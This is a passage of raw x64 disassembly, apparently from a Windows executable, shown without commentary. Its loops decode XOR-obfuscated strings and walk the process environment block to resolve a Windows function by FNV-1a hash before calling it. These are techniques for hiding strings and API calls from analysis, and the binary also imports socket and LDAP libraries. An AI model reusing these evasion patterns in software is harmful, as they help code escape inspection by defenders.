mov r8d, r12d
cmp r15d, 2
jl 0x140094148
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc60], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc64]
xorps xmm2, xmm1
movd dword [rbp + 0xc64], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc68]
xorps xmm2, xmm1
movd dword [rbp + 0xc68], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc6c]
xorps xmm2, xmm1
movd dword [rbp + 0xc6c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc70]
xorps xmm2, xmm1
movd dword [rbp + 0xc70], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc74]
xorps xmm2, xmm1
movd dword [rbp + 0xc74], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0xc60]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140094160
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140094224
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140094224
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14009421f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140094200
cmp edx, 0x491e0a9c
je 0x140094229
test r9d, r9d
jne 0x1400941e0
mov rax, qword [rax]
jmp 0x1400941b0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xc60]
call rax
movups xmm0, xmmword [str.CESA_]
movups xmmword [rbp + 0xd60], xmm0
movups xmm1, xmmword [0x1401652e8]
movups xmmword [rbp + 0xd70], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400943b9
mov r8d, r12d
cmp r15d, 2
jl 0x140094389
mov edx, r12d
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xd64]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400942a0
jmp 0x1400943b9
lea r9, [rbp + 0xd60]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140094390
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140094444
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140094444
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14009443f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140094420
cmp edx, 0x491e0a9c
je 0x140094449
test r9d, r9d
jne 0x140094400
mov rax, qword [rax]
jmp 0x1400943d0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xd60]
call rax
mov rcx, r13
call fcn.140025a50
mov dword [rbp + 0x320], 0x42700000
mov dword [rbp + 0x324], 0x43910000
lea rcx, [rbp + 0x320]
call fcn.140025c50
mov eax, dword [0x140165328]
movups xmm0, xmmword [0x1401652f8]
mov dword [rbp + 0x1178], eax
movups xmmword [rbp + 0x1148], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
movups xmm0, xmmword [0x140165318]
movups xmm1, xmmword [0x140165308]
mov byte [rbp + 0x117c], al
movups xmmword [rbp + 0x1168], xmm0
movups xmmword [rbp + 0x1158], xmm1
mov r8d, r12d
cmp r15d, 2
jl 0x1400945ef
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x114c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140094500
cmp r8d, 0x35
jge 0x140094630
movsxd rax, r8d
lea r9, [rbp + 0x1148]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140094600
lea rcx, [rbp + 0x1148]
call fcn.14004e760
mov rcx, qword [rbp]
call fcn.140025a50
mov dword [rbp + 0x328], 0x42700000
mov dword [rbp + 0x32c], 0x43340000
lea rcx, [rbp + 0x328]
call fcn.140025c50
mov rcx, r13
call fcn.140025a50
mov dword [rbp + 0x330], 0x440c0000
mov dword [rbp + 0x334], 0x40a00000
lea rcx, [rbp + 0x330]
call fcn.140025c50
movdqa xmm0, xmmword [0x140167fc0]
mov dword [rbp + 0x338], 0x41a00000
mov dword [rbp + 0x33c], 0x41f00000
movzx eax, word [0x140165330]
mov word [rbp - 0x68], ax
cmp byte [0x140165331], 0
je 0x1400946c5
mov byte [rbp - 0x68], 0x78
xor byte [rbp - 0x67], 0x31
movups xmm1, xmmword [0x140168000]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a790]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a788]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a780]
xor r8d, r8d
lea rdx, [rbp + 0x338]
lea rcx, [rbp - 0x68]
call fcn.14003f280
test al, al
je 0x140094729
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015b00
nop
lea rcx, [rbp + 0x1498]
call fcn.140064450
jmp 0x140094752
movdqa xmm7, xmmword [0x140167f50]
movdqa xmm9, xmmword [0x140167ea0]
mov rdi, qword [rbp + 0x10]
cmp byte [0x14019b70e], 0
je 0x1400978fa
mov qword [rbp + 0x340], 0x43160000
lea rcx, [rbp + 0x340]
call fcn.140025c50
mov rcx, r13
call fcn.140025a50
call fcn.1400198b0
mov rbx, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x348], 0x44138000
mov dword [rbp + 0x34c], 0x43e60000
movsd xmm0, qword [0x140165338]
movsd qword [rbp + 0x488], xmm0
movzx ecx, word [0x140165340]
mov word [rbp + 0x490], cx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14009481f
mov byte [rbp + 0x488], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x489], 0x31
xor byte [rbp + 0x48a], 0x32
xor byte [rbp + 0x48b], 0x33
xor byte [rbp + 0x48c], 0x34
xor byte [rbp + 0x48d], 0x35
xor byte [rbp + 0x48e], 0x36
xor byte [rbp + 0x48f], 0x37
xor byte [rbp + 0x490], 0x38
xor byte [rbp + 0x491], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x488]
call fcn.140007c60
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x350], 0x42480000
mov dword [rbp + 0x354], 0x42480000
lea rcx, [rbp + 0x350]
call fcn.140025c50
movdqa xmm0, xmmword [0x140167f90]
movups xmmword [rbx + 0xd4], xmm0
mov eax, dword [str.wCWVZ5]
mov dword [rbp - 0x20], eax
movzx eax, word [0x140165348]
mov word [rbp - 0x1c], ax
mov byte [rbp - 0x20], 0x47
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor al, 0x34
mov byte [rbp - 0x1c], al
xor byte [rbp - 0x1b], 0x35
lea rcx, [rbp - 0x20]
call fcn.14004e760
movaps xmm1, xmm12
xorps xmm0, xmm0
call fcn.140025330
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx + 0xd4], xmm0
movups xmm2, xmmword [0x140165350]
movups xmmword [rbp + 0xbc8], xmm2
movsd xmm0, qword [0x140165360]
movsd qword [rbp + 0xbd8], xmm0
cmp byte [0x140165367], 0
je 0x140094bb9
mov r8d, r12d
cmp r15d, 2
jl 0x140094b7f
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm6, xmmword [rbp - 0x50]
movd ecx, xmm6
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xbc8], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbcc]
xorps xmm2, xmm1
movd dword [rbp + 0xbcc], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbd0]
xorps xmm2, xmm1
movd dword [rbp + 0xbd0], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbd4]
xorps xmm2, xmm1
movd dword [rbp + 0xbd4], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbd8]
xorps xmm2, xmm1
movd dword [rbp + 0xbd8], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbdc]
xorps xmm2, xmm1
movd dword [rbp + 0xbdc], xmm2
jmp 0x140094bbe
lea r9, [rbp + 0xbc8]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140094b90
movdqa xmm6, xmmword [rbp - 0x50]
lea rcx, [rbp + 0xbc8]
call fcn.14004e760
mov dword [rbp + 0x358], 0x42480000
mov dword [rbp + 0x35c], 0x42a00000
lea rcx, [rbp + 0x358]
call fcn.140025c50
movdqa xmm0, xmmword [0x1401253d0]
movups xmmword [rbx + 0xd4], xmm0
mov eax, dword [0x140165368]
mov dword [rbp - 0x40], eax
cmp byte [0x14016536b], 0
je 0x140094ca9
mov r8d, r12d
cmp r15d, 2
jl 0x140094c7a
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm6
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
jmp 0x140094ca9
lea r9, [rbp - 0x40]
nop
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140094c80
lea rcx, [rbp - 0x40]
call fcn.14004e760
movaps xmm1, xmm12
xorps xmm0, xmm0
call fcn.140025330
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx + 0xd4], xmm0
movups xmm0, xmmword [0x140165370]
movups xmmword [rbp + 0xd00], xmm0
movsd xmm0, qword [0x140165380]
movsd qword [rbp + 0xd10], xmm0
mov eax, dword [0x140165388]
mov dword [rbp + 0xd18], eax
cmp byte [0x14016538b], 0
je 0x140094e50
mov r8d, r12d
cmp r15d, 2
jl 0x140094e0f
movdqa xmmword [rsp + 0x50], xmm6
lea rcx, [rbp + 0xd04]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140094d20
cmp r8d, 0x1c
jge 0x140094e50
movsxd rax, r8d
lea r9, [rbp + 0xd00]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140094e20
lea rcx, [rbp + 0xd00]
call fcn.14004e760
lea rdi, [0x14019a268]
lea rsi, [0x14019a1e8]
lea r12, [0x14019a208]
lea r14, [0x14019a288]
lea r15, [0x14019a228]
lea r13, [0x14019a2a8]
cmp byte [0x14019b77b], 0
jne 0x140094f35
cmp rdi, rsi
je 0x140094eba
mov rdx, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a1e8]
mov r8, qword [0x14019a1f8]
mov rcx, rdi
call fcn.140080e60
mov rdx, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a208]
mov r8, qword [0x14019a218]
mov rcx, r14
call fcn.140080e60
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a228]
mov r8, qword [0x14019a238]
mov rcx, r13
call fcn.140080e60
lea rdx, [0x14019a248]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a248]
mov r8, qword [0x14019a258]
lea rcx, [0x14019a2c8]
call fcn.140080e60
cmp byte [0x14019b77b], 0
je 0x140095d73
cmp byte [0x14019b709], 0
jne 0x140095d73
lea rax, [rbp + 0xd40]
mov qword [rsp + 0x50], rax
movups xmm3, xmmword [0x1401653e8]
movups xmmword [rbp + 0xc80], xmm3
movq xmm4, qword [0x1401653f8]
movq qword [rbp + 0xc90], xmm4
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0xc98], ax
xor r8d, r8d
movdqa xmm6, xmmword [str.00000000]
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400950d4
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0xc80], xmm2
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
pmuldq xmm2, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rbp + 0xc88]
xorps xmm2, xmm0
movq qword [rbp + 0xc88], xmm2
movdqa xmm3, xmmword [0x140167eb0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, xmm4
xorps xmm2, xmm0
movq qword [rbp + 0xc90], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0xc80]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400950f0
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0xd40]
call fcn.140062690
mov r15, rax
movups xmm0, xmmword [0x140165390]
movups xmmword [rbp + 0x12e0], xmm0
movups xmm1, xmmword [0x1401653a0]
movups xmmword [rbp + 0x12f0], xmm1
movups xmm0, xmmword [0x1401653b0]
movups xmmword [rbp + 0x1300], xmm0
movups xmm1, xmmword [0x1401653c0]
movups xmmword [rbp + 0x1310], xmm1
movups xmm0, xmmword [str.__169_X]
movups xmmword [rbp + 0x1320], xmm0
movzx eax, word [0x1401653e0]
mov word [rbp + 0x1330], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400952a7
lea rcx, [rbp + 0x12e0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
